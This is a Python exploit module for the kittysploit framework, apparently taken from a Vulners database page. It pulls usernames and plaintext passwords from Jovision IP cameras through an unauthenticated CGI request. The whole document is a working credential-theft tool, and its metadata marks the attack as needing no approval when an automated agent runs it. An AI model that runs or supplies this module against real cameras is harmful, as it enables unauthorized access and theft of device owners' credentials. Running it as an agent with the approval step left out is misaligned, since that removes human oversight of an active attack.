Jovision camera credential disclosure
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Jovision camera credential disclosure"""
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Jovision camera credential disclosure',
'description': 'Exploit implementation for jovision IP camera Credential Disclosure vulnerability. If target is vulnerable details of user accounts on the device including usernames and passwords are returned.',
'author': ['aborche', 'casept'],
'platform': Platform.LINUX,
'references': ['https://habr.com/ru/post/318572/', 'https://weekly-geekly.github.io/articles/318572/index.html'],
'tags': ['iot', 'camera', 'disclosure', 'credentials', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def run(self):
if self.check():
print_success("Target seems to be vulnerable")
response = self.http_request(
method="GET",
path="/cgi-bin/jvsweb.cgi?cmd=account&action=list"
)
if response is None:
print_error("Exploit failed - connection error")
return
# The camera returns a JSON document with accounts, parse it
j_resp = json.loads(response.text)
# Some cameras have multiple accounts configured, list all of them
accounts = list()
for acc in j_resp:
account = list()
account.append(acc.get("acDescript")) # Account description
account.append(acc.get("acID")) # Account username
account.append(acc.get("acPW")) # Acccount password
# There seems to be some kind of permission level system for users
# 20 seems to always be admin, normal users have <20
if acc.get("nPower") >= 20:
account.append("Yes")
else:
account.append("No")
accounts.append(account)
print_success("Accounts found:")
print_table(("Description", "Username", "Password",
"Administrator"), *accounts)
else:
print_error("Exploit failed - target seems to be not vulnerable")
def check(self):
response = self.http_request(
method="GET",
path="/cgi-bin/jvsweb.cgi?cmd=account&action=list"
)
if response is not None and response.status_code == 200:
res = re.findall(".*acID.*", response.text)
if len(res) > 0:
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8